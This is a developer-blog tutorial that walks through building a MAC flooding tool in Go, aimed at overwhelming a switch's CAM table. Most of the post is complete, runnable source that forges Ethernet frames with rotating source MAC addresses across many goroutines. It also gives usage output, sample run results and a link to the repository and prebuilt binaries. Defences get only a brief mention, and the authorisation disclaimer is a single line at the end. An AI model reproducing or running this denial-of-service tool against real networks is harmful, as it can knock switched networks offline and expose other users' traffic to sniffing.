Exploiting network devices at the data link layer with Go
Tags: go, programming, security, networking
Published: 2020-12-14 21:54:51

Back in 2018 when I attended the networking security class at highschool, our prof introduced us to attacking network devices at the OSI data link layer (Ethernet, most of the time). I was in fact curious how to file such an attack myself. Indeed, there were enough tools already out there - but only script kiddies use existing tools. So I decided to write my own tool to bring down a switched network.

The attack I am talking about is named MAC flooding. 
{% wikipedia https://en.wikipedia.org/wiki/MAC_flooding %}

It's some kind of denial of service attack. Usually a switch remembers which client (MAC address) is connected to which port. But when there are more clients than the switch can remember, the layer 2 frames are send on every port and you may sniff the whole traffic - or the whole network breaks due to exponentially increasing traffic.

So the only thing to do is to flood the network with frames originating from different MAC addresses. Since the switches CAM tables are finite, at some point in time the switch cannot remember the different source addresses and therefore is out of service.

> The switches should be able to recover from the attack automatically using the [MAC table aging method](https://www.arista.com/en/um-eos/eos-section-19-3-mac-address-table)

> In addition, modern switches may be configured using so-called port security, so it is of course possible to eliminate such an attack at it's root cause.

## Defining goals and requirements
![Network diagram](https://dev-to-uploads.s3.amazonaws.com/i/on4qw2ousf4afenpquh5.png)

So our network looks like the diagram above. We would like to make the switch believe that there are more computers connected to it than he can remember. To do so we have to operate directly on the data link layer of the OSI reference model. Since any "normal" request will be built up correctly by the help of our operating system - there is always just a single MAC available per network interface. However this does not mean that we cannot emulate different MAC addresses using the same network interface.


For the Go programming language Matt Layher has created awesome libraries to operate on the data link layer directly, they are called [`ethernet`](https://github.com/mdlayher/ethernet) and [`raw`](https://github.com/mdlayher/raw).
> He has already written about it in his blog - make sure to check it out: [Network Protocol Breakdown: Ethernet and Go](https://mdlayher.com/blog/network-protocol-breakdown-ethernet-and-go/)

{% github https://github.com/mdlayher/ethernet %}

Our tool should be of course the fastest on the planet. And therefore we utilize the Go concurrency patterns.


The quintessence of writing ethernet frames to a network connection is implemented in the below code section. This method loops over a channel of `ethernet.Frame` struct and writes them onto the network interface using a default destination address.

The function also sends the number of bytes written to the network interface to another channel.
```go
// frameWriter sends ethernet frames over the network
func frameWriter(c net.PacketConn, ch <-chan *ethernet.Frame, stats chan<- int, doneCall func()) {
	for f := range ch {
		// get frame and marshall it to binary
		b, err := f.MarshalBinary()
		if err != nil {
			fmt.Printf("failed to marshal ethernet frame: %v", err)
		}

		// only necessary for WriteTo() method, does not change the frame
		addr := &raw.Addr{
			HardwareAddr: ethernet.Broadcast,
		}

		// write frame
		n, err := c.WriteTo(b, addr)
		if err != nil {
			fmt.Printf("Cannot write to connection: %v", err)
		}

		// send to channel
		stats <- n
	}
	doneCall()
}
```

First of all we'd like to control how our tool should operate. I've therefore implemented the below command line parameters:
* Network interface to send
* Number of Goroutines for writing
* Amount of frames to send

And since this tool will only work on Unix-based machines, the top line (called build constraint or tag) specifies the target platforms.
```go
//+build linux darwin

package main

import (
	"flag"
	"fmt"
	"github.com/mdlayher/ethernet"
	"github.com/mdlayher/raw"
	"net"
	"os/user"
	"sync"
	"time"
)

var num = flag.Int("n", 1, "Amount of frames send")
var ifaceName = flag.String("i", "", "Interface to send")
var numThreads = flag.Int("t", 12, "Number of threads to use")
var seed = flag.Int("s", 0, "Seed for source MAC address")
var versionFlag = flag.Bool("v", false, "Print version")

const etherType = 0xbeef
const version = "flood v0.2.0"

// prerequisitesSatisfied checks if all requirements are met
func prerequisitesSatisfied() bool {
	if *versionFlag {
		fmt.Println(version)
		return false
	}

	u, _ := user.Current()
	if u.Uid != "0" {
		fmt.Println("This program requires root (UID 0) access")
		return false
	}

	// require iface index flag
	if *ifaceName == "" {
		flag.Usage()
		return false
	}

	if *seed < 0 || *seed > 255 {
		fmt.Printf("Seed (%d) must be between 0 and 255\n", *seed)
		return false
	}
	return true
}

func main() {
	flag.Parse()
	if !prerequisitesSatisfied() {
		return
	}

	iface, err := net.InterfaceByName(*ifaceName)
	if err != nil {
		fmt.Println("No such network interface")
		return
	}

	conn, err := raw.ListenPacket(iface, etherType, nil)
	if err != nil {
		fmt.Printf("cannot open connection: %v", err)
		return
	}

	var wg sync.WaitGroup

	// init channels
	ch := make(chan *ethernet.Frame)
	stats := make(chan int)

	// create sender goroutines
	for i := 0; i < *numThreads; i++ {
		wg.Add(1)
		// pass in Done() method from waitgroup
		go frameWriter(conn, ch, stats, wg.Done)
	}

	// init stat vars
	framesSend := 0
	bytesWritten := 0
	startTime := time.Now()

	// stat collecting goroutine
	go func() {
		// no need for waitgroup here,
		// goroutine gets automatically killed when any sender goroutine exits
		for bytes := range stats {
			bytesWritten += bytes
			framesSend++
		}
	}()

	for i := 1; i <= *num; i++ {
		f := &ethernet.Frame{
			Destination: ethernet.Broadcast,
            // every frame should have a different MAC address
            // and emulates therefore a different computer
			Source: net.HardwareAddr{
				byte(*seed),
				0x00,
				// hacky method for power to 2 numbers
				byte(i / (24 << 1)), uint8(i / (16 << 1)), uint8(i / (8 << 1)), uint8(i),
			},
			EtherType: etherType,
		}
		ch <- f
	}

	// close channel
	close(ch)
	wg.Wait() // wait for goroutines quit

	fmt.Println("Execution summary:")
	fmt.Printf("%d frames send\n", framesSend)
	fmt.Printf("%d bytes written\n", bytesWritten)
	fmt.Printf("Took a total time of %v\n", time.Since(startTime))
}
```

At the beginning of our `main` function we set up and check all the prerequisites. Afterwards the channels for communicating are initialized and the `frameWriter` Goroutines are dispatched. This applies also for the stats collecting goroutine.

Afterwards the frames are created in our main goroutine and send over to the `frameWriter` goroutines to write them to the network interface.

### Results
To check the results, I am using Wireshark to sniff the local network traffic. The frames should have different source MAC addresses.

The usage is printed below.
```shell
$ ./flood -h
Usage of ./flood:
  -i string
        Interface to send
  -n int
        Amount of frames send (default 1)
  -s int
        Seed for source MAC address
  -t int
        Number of threads to use (default 12)
  -v    Print version
```
First we have to evaluate on which network interface we'd like to send the frames to. Afterwards we have to get root privileges to execute this program.

```shell
# ./flood -i ens33 -n 100
100 frames send
6000 bytes written
Took a total time of 5.070503ms
```
In Wireshark you should then see something like this when applying the filter to the ethernet type `0xbeef` - this is the default type for the `flood` tool.

![Wireshark sniffed](https://dev-to-uploads.s3.amazonaws.com/i/j0q7bi11cjm2qvjbfbvg.png)
* Source MAC address is different for every packet and not ordered (since multiple goroutines are used)
* Destination MAC stays always to Broadcast
* Data inside the frame is not of length zero. Why? Because of the minimum length of an Ethernet frame (60 bytes)


The full code is available here (also pre-built binaries are available. But make sure to only use this software for educational purpose. Use only if you are allowed to!
{% github https://github.com/davidkroell/flood %}

Thanks for reading, and as always feel free to submit feedback for improvements.

#### Links
[OSI model](https://en.wikipedia.org/wiki/OSI_model)
[CAM tables](https://www.greycampus.com/opencampus/ethical-hacking/arp-and-cam-cable)
[Data link layer](https://en.wikipedia.org/wiki/Data_link_layer)
[Wireshark](https://www.wireshark.org/)
[Title image](https://unsplash.com/photos/Jth4utoCVNo)